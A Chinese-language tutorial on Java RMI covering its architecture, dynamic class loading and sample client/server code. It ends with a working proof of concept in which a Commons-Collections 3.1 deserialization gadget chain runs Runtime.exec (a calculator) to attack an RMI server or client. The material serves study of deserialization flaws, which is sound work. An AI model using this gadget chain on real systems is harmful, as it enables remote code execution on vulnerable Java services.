0%

Java RMI原理及实战

序言

遥知兄弟登高处,遍插茱萸少一人。

前一阵总结反序列化漏洞,发现RMI作为跳板,该角色必不可少。

RMI概念简述

RMI(Remote Method Invocation)即远程方法调用,是分布式编程中的一个基本思想。实现远程方法调用的技术有很多,比如CORBA、WebService,提到的这两种都是独立于编程语言的。

Java RMI是专为Java环境设计的远程方法调用机制,是一种用于实现远程调用(RPC,Remote Procedure Call)的一组Java API,能直接传输序列化后的Java对象和分布式垃圾收集。它的实现依赖于JVM支持从一个JVM到另一个JVM的调用

在Java RMI中:

  • 远程服务器实现具体的Java方法并提供接口
  • 客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法
  • 其中对象是通过序列化方式进行编码传输的
  • RMI全部的宗旨就是尽可能简化远程接口对象的使用

平时说的反序列化漏洞的利用经常涉及到RMI,就是这个意思

RMI依赖的通信协议为JRMP(Java Remote Message Protocol,Java远程消息交换协议),该协议是为Java定制的,JRMP协议运行在Java RMI下、TCP/IP层之上的一种协议,要求服务端与客户端都必须是Java编写的。

Java RMI极大地依赖于接口。在需要创建一个远程对象的时候,程序员通过传递一个接口来隐藏底层的实现细节。客户端得到的远程对象句柄正好与本地的根代码连接,由后者负责透过网络通信。这样一来,程序员只需关心如何通过自己的接口句柄发送消息。

多说两句:

Java本身对RMI规范的实现默认使用的是JRMP协议,而Weblogic对RMI规范的实现使用T3协议,Weblogic之所以开发T3协议,是因为他们需要可扩展、高效的协议来使用Java构建企业级的分布式对象系统。

众所周知,一般情况下Java方法调用指的是同一个JVM内部方法的调用,而RMI与之恰恰相反。

到这里,做个简短通俗的总结:RMI是一种行为,这种行为指的是Java远程方法调用,调用的是方法。

RMI能够帮助我们查找并执行远程对象的方法。通俗地说,远程调用就像A主机存放一个Class文件,然后在B机器中调用这个Class的方法。

Java RMI,跨JVM,是允许运行在JVM内部的一个对象调用运行在另一个JVM内部的对象的方法。 这两个JVM可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。

RMI和序列化的缘分

RMI的传输是基于序列化机制的。

如果一个RMI接口的参数类型为一个对象,那么我们客户端就可以发送一个自己构建的对象,来让服务端将这个对象反序列化出来。当然,前提是服务端的classpath里面有合适的类,或者后续恶意类加载也可以。

RMI代理模式

设计模式

RMI的设计模式中,主要包括以下三个部分的角色:

  • Registry:提供服务注册与服务获取。即Server端向Registry注册服务,比如地址、端口等一些信息,Client端从Registry获取远程对象的一些信息,如地址、端口等,然后进行远程调用。
  • Server:服务端,远程方法的提供者,并向Registry注册自身提供的服务
  • Client:客户端,远程方法的消费者,从Registry获取远程方法的相关信息并且调用

交互过程

一般习惯,注册中心和服务端都在一起,RMI交互过程如图所示:

image-20200625140935583

RMI由3个部分构成:

  • RMI Registry(JDK提供的一个可以独立运行的程序,在bin目录下)
  • 第二个是Server端的程序,对外提供远程对象
  • 第三个是Client端的程序,想要调用远程对象的方法。

在设计模式中,3个角色的交互过程可简单概述为:

  1. 服务端创建远程对象,Skeleton侦听一个随机的端口x,这个端口是用来进行远程通信服务的,以供客户端调用。
  2. 启动RMI Registry服务,启动时可以指定服务监听的端口,也可以使用默认的端口(1099)。
  3. Server端在本地先实例化一个提供服务的实现类,然后通过RMI提供的Naming/Context/Registry等类的bind或rebind方法将刚才实例化好的实现类注册到RMI Registry上并对外暴露一个名称Name;
  4. 客户端对RMI Registry发起请求,根据提供的Name从RMI Registry得到StubStub中包含与Skeleton通信的信息(地址,端口等),两者建立通信,Stub作为客户端代理请求服务端代理Skeleton并进行远程方法调用
  5. 客户端Stub调用远程方法,调用结果先返回给SkeletonSkeleton再返回给客户端StubStub再返回给客户端本身。

多说一句,一般我们知道RMI Registry的端口(1099)就可以了。

通信端口会包含在Stub中,Stub是RMI Registry给Client分发的。

此外,我们可以看到,从逻辑上来看数据是在Client和Server之间横向流动的,但是实际上是从Client到Stub,然后从Skeleton到Server这样纵向流动的。

通信过程

image-20200625141235915

image-20200625144347103

方法调用从客户端经存根(Stub)、远程引用层(Remote Reference Layer)和传输层(Transport Layer)向下,传递给主机,然后再次经传输层,向上穿过远程调用层和骨干网(Skeleton),到达服务器对象。

存根Stub位于客户端,扮演着远程服务器对象的代理,使该对象可被客户激活。远程引用层处理语义、管理单一或多重对象的通信,决定调用是应发往一个服务器还是多个。

传输层管理实际的连接,并且追踪可以接受方法调用的远程对象。Skeleton完成对服务器对象实际的方法调用,并获取返回值。返回值向下经远程引用层、服务器端的传输层传递回客户端,再向上经传输层和远程调用层返回。最后,存根Stub获得返回值。

总结:

Stub:扮演着远程服务器对象的代理的角色,使该对象可被客户激活。

远程引用层:处理语义、管理单一或多重对象的通信,决定调用是应发往一个服务器还是多个。

传输层:管理实际的连接,并且追踪可以接受方法调用的远程对象。

Skeleton:完成对服务器对象实际的方法调用,并获取返回值。

返回值向下经远程引用层、服务器端的传输层传递回客户端,再向上经传输层和远程调用层返回。最后,存根获得返回值。

Stub和Skeleton

RMI的客户端和服务器并不直接通信,客户与远程对象之间采用的代理方式进行Socket通信。为远程对象分别生成了客户端代理和服务端代理,其中位于客户端的代理类称为Stub即存根(包含服务器Skeleton信息),位于服务端的代理类称为Skeleton即骨干网。

RMI Registry

RMI注册表,默认监听在1099端口上,Client通过NameRMI Registry查询,得到这个绑定关系和对应的Stub

远程对象

在RMI中的核心就是远程对象,一切都是围绕这个东西来进行的。

顾名思义,远程对象存在于服务端,以供客户端调用。

任何可以被远程调用的对象都必须实现 java.rmi.Remote 接口,远程对象的实现类必须继承UnicastRemoteObject类。

如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,并且在远程对象的构造方法中调用UnicastRemoteObject.exportObject()静态方法。

这个远程对象中可能有很多个函数,但是只有在远程接口中声明的函数才能被远程调用,其他的公共函数只能在本地的JVM中使用。

序列化传输数据

客户端远程调用时传递给服务器的参数,服务器执行后传递给客户端的返回值。参数或者返回值,在传输时候会被序列化,在被接受时会被反序列化。

因此这些传输的对象必须可以被序列化,相应的类必须实现java.io.Serializable接口,并且客户端的serialVersionUID字段要与服务器端保持一致。

工厂模式

image-20200625144743014

如图,先假设:

  • 有两个远程服务接口可供Client调用,Factory和Product接口
  • FactoryImpl类实现了Factory接口,ProductImpl类实现了Product接口

工厂模式的处理流程为:

  1. FactoryImpl被注册到了RMI Registry中;
  2. Client端请求一个Factory的引用;
  3. RMI Registry返回Client端一个FactoryImpl的引用;
  4. Client端调用FactoryImpl的远程方法请求一个ProductImpl的远程引用;
  5. FactoryImpl返回给Client端一个ProductImpl引用;
  6. Client通过ProductImpl引用调用远程方法;

可以看到,客户端向RMI Registry请求获取到指定的FactoryImpl的引用后,再通过调用FactoryImpl的远程方法请求一个ProductImpl的远程引用,从而调用到ProductImpl引用指向的远程方法。

上面提到的创建FactoryImpl对象,设置FactoryImpl对象指向ProductImp(通过HTTP等协议定位,可以位于其他服务器),具有指向功能的对象也可以叫做reference对象

这种RMI+Reference的技术在JNDI注入中是单独作为一种利用方式。

这里执行远程对象的方法的是RMI通讯的客户端,为攻击客户端的方式,是在具体的代码和利用场景可以参考FastJson中的JNDI注入。

java.rmi包简介

Remote

一个接口interface,这个interface中没有声明任何方法。只有定义在“remote interface”,即继承了Remote的接口中的方法,才可以被远程调用。

RemoteException

RemoteException是所有在远程调用中所抛出异常的超类,所有能够被远程调用的方法声明,都需要抛出此异常。

Naming

提供向RMI Registry保存远程对象引用或者从RMI Registry获取远程对象引用的方法。这个类中的方法都是静态方法,每一个方法都包含了一个类型为String的name参数, 这个参数是URL格式,形如://host:port/name。

Registry

一个interface, 其功能和Naming类似,每个方法都有一个String类型的name参数,但是这个name不是URL格式,是远程对象的一个命名。Registry的实例可以通过方法LocateRegistry.getRegistry()获得。

LocateRegistry

用于获取到RMI Registry的一个连接,这个连接可以用于获取一个远程对象的引用。也可以创建一个注册中心。

RemoteObject

重新覆写了Object对象中的equals,hashCode,toString方法,从而可以用于远程调用。

UnicastRemoteObject

用于获得一个stub。这个stub封装了底层细节,用于和远程对象进行通信。

Unreferenced

一个interface, 声明了方法:void unreferenced()。如果一个远程对象实现了此接口,则这个远程对象在没有任何客户端引用的时候,这个方法会被调用。

RMI动态类加载

RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的对象class文件可以使用Web服务的方式进行托管。这可以动态的扩展远程应用的功能,RMI注册表上可以动态的加载绑定多个RMI应用。对于客户端而言,服务端返回值也可能是一些子类的对象实例,而客户端并没有这些子类的class文件。如果需要客户端正确调用这些子类中被重写的方法,则同样需要有运行时动态加载额外类的能力。客户端使用了与RMI注册表相同的机制。RMI服务端将URL传递给客户端,客户端通过HTTP请求下载这些类。

在之后的JNDI注入和反序列化漏洞的利用中,正是涉及到了RMI动态类加载。

编写RMI的步骤

定义服务端供远程调用的类

在此之前先定义一个可序列化的Model层的用户类,其实例可放置于服务端进行远程调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import java.io.Serializable;

public class PersonEntity implements Serializable {
private int id;
private String name;
private int age;

public void setId(int id) {
this.id = id;
}

public int getId() {
return id;
}

public void setName(String name) {
this.name = name;
}

public String getName() {
return name;
}

public void setAge(int age) {
this.age = age;
}

public int getAge() {
return age;
}
}

定义一个远程接口

远程接口必须继承java.rmi.Remote接口,且抛出RemoteException错误:

1
2
3
4
5
6
7
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;

public interface PersonService extends Remote {
public List<PersonEntity> GetList() throws RemoteException;
}

开发接口的实现类

建立PersonServiceImpl实现远程接口,注意此为远程对象实现类,需要继承UnicastRemoteObject(如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class PersonServiceImpl extends UnicastRemoteObject implements PersonService {

protected PersonServiceImpl() throws RemoteException {
// TODO Auto-generated constructor stub
super();
}

@Override
public List<PersonEntity> GetList() throws RemoteException {
// TODO Auto-generated method stub
System.out.println("Get Person Start!");
List<PersonEntity> personList = new LinkedList<PersonEntity>();

PersonEntity person1 = new PersonEntity();
person1.setAge(3);
person1.setId(0);
person1.setName("0range");
personList.add(person1);

PersonEntity person2 = new PersonEntity();
person2.setAge(18);
person2.setId(1);
person2.setName("Wind");
personList.add(person2);
return personList;
}
}

创建Server和Registry

其实Server和Registry可以单独运行创建,其中Registry可通过代码启动也可通过rmiregistry命令启动,这里只进行简单的演示,将Server和Registry的创建、对象绑定注册表等都写到一块,且Registry直接代码启动:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class Program {
public static void main(String[] args) {
try {
PersonService personService=new PersonServiceImpl();
//注册通讯端口
LocateRegistry.createRegistry(9898);
//注册通讯路径
Naming.rebind("rmi://127.0.0.1:9898/PersonService", personService);
System.out.println("Service Start!");
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}

创建客户端并查找调用远程方法

这里我们通过Naming.lookup()来查找RMI Server端的远程对象并获取到本地客户端环境中输出出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.rmi.Naming;
import java.util.List;

public class Client {
public static void main(String[] args){
try{
//调用远程对象,注意RMI路径与接口必须与服务器配置一致
PersonService personService=(PersonService) Naming.lookup("rmi://127.0.0.1:9898/PersonService");
List<PersonEntity> personList=personService.GetList();
for(PersonEntity person:personList){
System.out.println("ID:"+person.getId()+" Age:"+person.getAge()+" Name:"+person.getName());
}
}catch(Exception ex){
ex.printStackTrace();
}
}
}

最后,我们看下模拟运行的场景。

先启动Server和Register,开启成功后显示“Server Start!”,然后运行Client程序,可以看到客户端成功获取到了在Register注册的Server中的远程对象的内容:

image-20200625153417419

image-20200625153430585

几个函数

这里小结下几个函数:

  • bind(String name, Object obj):注册对象,把对象和一个名字name绑定,这里的name其实就是URL格式。如果该名字已经与其他对象绑定,则抛出NameAlreadyBoundException错误;
  • rebind(String name, Object obj):注册对象,把对象和一个名字name绑定。如果改名字已经与其他对象绑定,不会抛出NameAlreadyBoundException错误,而是把当前参数obj指定的对象覆盖原先的对象(更暴力);
  • lookup(String name):查找对象,返回与参数name指定的名字所绑定的对象;
  • unbind(String name):注销对象,取消对象与名字的绑定;

经典例子

这里我再写一个例子,用于强化。

首先我还是生成一个接口,叫它IRemoteMath

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.rmi.Remote;
import java.rmi.RemoteException;

/**
* 必须继承Remote接口。
* 所有参数和返回类型必须序列化(因为要网络传输)。
* 任意远程对象都必须实现此接口。
* 只有远程接口中指定的方法可以被调用。
*/
public interface IRemoteMath extends Remote {
// 所有方法必须抛出RemoteException
public double add(double a, double b) throws RemoteException;
public double subtract(double a, double b) throws RemoteException;

}

注意:

  • 这个远程接口必须继承Remote类;
  • 内部抽象方法必须都有throw RemoteException

接下来我写一个接口的实现类,叫做RemoteMath

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
* 服务器端实现远程接口。
* 必须继承UnicastRemoteObject,以允许JVM创建远程的存根/代理。
*/
public class RemoteMath extends UnicastRemoteObject implements IRemoteMath {

private int numberOfComputations;

protected RemoteMath() throws RemoteException {
numberOfComputations = 0;
}

@Override
public double add(double a, double b) throws RemoteException {
numberOfComputations++;
System.out.println("Number of computations performed so far = "
+ numberOfComputations);
return (a+b);
}

@Override
public double subtract(double a, double b) throws RemoteException {
numberOfComputations++;
System.out.println("Number of computations performed so far = "
+ numberOfComputations);
return (a-b);
}

}

注意:

  • 这个类其实就是接口实现类
    • 实现接口的全部方法,这个不必多说@override
    • 必须继承UnicastRemoteObject
  • 用它来实现接口中声明的所有抽象方法,它就是接口的实现类。

接下来是第一个关键角色Server,这里我是把Server和RMI Registry合在一起,实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
* 创建RemoteMath类的实例并在rmiregistry中注册。
*/
public class RMIServer {

public static void main(String[] args) {

try {
// 注册远程对象,向客户端提供远程对象服务。
// 远程对象是在远程服务上创建的,你无法确切地知道远程服务器上的对象的名称,
// 但是,将远程对象注册到RMI Registry之后,
// 客户端就可以通过RMI Registry请求到该远程服务对象的stub,
// 利用stub代理就可以访问远程服务对象了。
IRemoteMath remoteMath = new RemoteMath();
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
registry.bind("Compute", remoteMath);
System.out.println("Math server ready");
// 如果不想再让该对象被继续调用,使用下面一行
// UnicastRemoteObject.unexportObject(remoteMath, false);
} catch (Exception e) {
e.printStackTrace();
}

}

}

注意:

  • 在这里,首先接口=new 实现类,用到了Java多态,从这里开始也是用接口去注册,用接口去迎接;
  • 接下来注册一个端口,默认是1099;
  • 接下来将名字与接口实现类对象绑定,上面就是“Compute”和remoteMath
  • 之后客户端就可以通过RMI Registry请求到该远程服务对象的stub了

客户端实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class MathClient {

public static void main(String[] args) {

try {
// 如果RMI Registry就在本地机器上,URL就是:rmi://localhost:1099/hello
// 否则,URL就是:rmi://RMIService_IP:1099/hello
//Registry registry = LocateRegistry.getRegistry("localhost");
// 从Registry中检索远程对象的存根/代理
//IRemoteMath remoteMath = (IRemoteMath) registry.lookup("Compute");
IRemoteMath remoteMath=(IRemoteMath) Naming.lookup("rmi://127.0.0.1:1099/Compute");
// 调用远程对象的方法
double addResult = remoteMath.add(5.0, 3.0);
System.out.println("5.0 + 3.0 = " + addResult);
double subResult = remoteMath.subtract(5.0, 3.0);
System.out.println("5.0 - 3.0 = " + subResult);
} catch (Exception e) {
e.printStackTrace();
}
}
}

注意:

  • 首先Naming.lookup去寻找Compute服务,用接口去迎接,拿到远程对象
  • 拿到远程对象之后,通过它去调用远程方法,实现整个流程

结果截图:

image-20200625223328712

image-20200625223336217

多说两句

这里说明一下,当执行Registry registry = LocateRegistry.createRegistry(1099);的时候,返回的registry对象类是sun.rmi.registry.RegistryImpl,其内部的ref,也就是sun.rmi.server.UnicastServerRef,持有sun.rmi.registry.RegistryImpl_Skel类型的对象变量ref。

而服务端以及客户端,执行Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);返回的是sun.rmi.registry.RegistryImpl_Stub。

当服务端对实现了HelloService接口并继承了UnicastRemoteObject类的HelloServiceImpl实例化时,在其父类UnicastRemoteObject中,会对当前对象进行导出,返回一个当前对象的stub,也就是HelloService_stub,在其执行registry.bind("hello", helloService);的时候,会把这个stub对象,发送到RMI Registry存根。

当客户端执行HelloService helloService = (HelloService) registry.lookup("hello")的时候,就会从RMI Registry获取到服务端存进去的stub。

接着客户端就可以通过stub对象,对服务端发起一个远程方法调用helloService.sayHello(),stub对象内部存储了如何跟服务端联系的信息,以及封装了RMI的通讯实现细节,对开发者完全透明。

RMI攻击实例

定义一个接口

sayHello

1
2
3
4
5
public interface RemoteHello extends Remote {
String sayHello(String name) throws RemoteException;
String exp1(Object work) throws RemoteException;
Object exp2() throws Exception;
}

定义接口实现类

其中:

exp1是客户端攻击服务端接口;

exp2是服务端攻击客户端接口;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public class RemoteHelloImpl implements RemoteHello {
@Override
public String sayHello(String name) throws RemoteException {
return String.format
("Hello, %s!", name);
}

@Override
public String exp1(Object exp) throws RemoteException {
System.out.println("exp1 is " + exp);
return "exp1";
}

@Override
public Object exp2() throws Exception {
System.out.println("exp2");
return payload();
}
public static Object payload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "lala");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}

Server&Registry

创建RMI Registry,创建远程对象,绑定Name和远程对象,运行RMI服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class Server {
public static void main(String[] args) throws RemoteException, MalformedURLException {
try {
//实例化对象
RemoteHello h = new RemoteHelloImpl();
//用于导出远程对象,将此服务转换为远程服务接口
RemoteHello skeleton = (RemoteHello) UnicastRemoteObject.exportObject(h, 0);
//// 将RMI服务注册到1099端口:
LocateRegistry.createRegistry(1099);
// 注册此服务,服务名为"Hello":
//Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
Naming.rebind("Hello", h);
System.out.println("[*]Biding is OVER!");
} catch (RemoteException e) {
e.printStackTrace();
} catch (MalformedURLException e) {
e.printStackTrace();
}

}
}

Client

1
2
3
4
5
6
7
8
9
10
11
12
public class Client {
public static void main(String[] args) throws RemoteException, NotBoundException {
// 连接到服务器localhost,端口1099:
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
// 查找名称为"Hello"的服务并强制转型为Hello接口:
RemoteHello h = (RemoteHello) registry.lookup("Hello");
// 正常调用接口方法:
String rs = h.sayHello("0range");
// 打印调用结果:
System.out.println(rs);
}
}

以上为基本操作,接下来进行攻击。

JDK:1.7u21

JAR:Commons-Collections3.1

Maven;

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

客户端攻击服务器

先上代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public class PoC_Client2Server {
public static void main(String[] args) throws Exception {

// 连接到服务器localhost,端口1099:
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
// 查找名称为"Hello"的服务并强制转型为Hello接口:
RemoteHello h = (RemoteHello) registry.lookup("Hello");
// 正常调用接口方法:
//String rs = h.sayHello("rai4over");
String rs = h.exp1(payload());
// 打印调用结果:
System.out.println(rs);
}


public static Object payload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "lala");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}

结果如图:

image-20200627121658858

如果客户端传递给服务端恶意序列化对象,服务端反序列化这个对象时,就会调用对象的readObject就会遭到攻击。

服务器攻击客户端

反之,服务端同样可以通过恶意反序列化数据攻击客户端。

先上代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class PoC_Server2Client {
public static void main(String[] args) throws Exception {

// 连接到服务器localhost,端口1099:
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
// 查找名称为"Hello"的服务并强制转型为Hello接口:
RemoteHello h = (RemoteHello) registry.lookup("Hello");
// 正常调用接口方法:
//String rs = h.sayHello("rai4over");
//String rs = h.exp1(payload());
Object rs = h.exp2();
// 打印调用结果:
System.out.println(rs);
}
}

攻击截图:

image-20200627122739474

总结

对于第一种客户端攻击服务器,其实是客户端自己有payload恶意函数,序列化对象发送给服务器时进行反序列化,造成漏洞触发。

第二种服务器攻击客户端,其实是服务器内部本身就有payload恶意函数,当对象请求调用的时候,服务器将序列化对象返还给客户端,客户端本地进行反序列化,漏洞遭到触发。

参考博客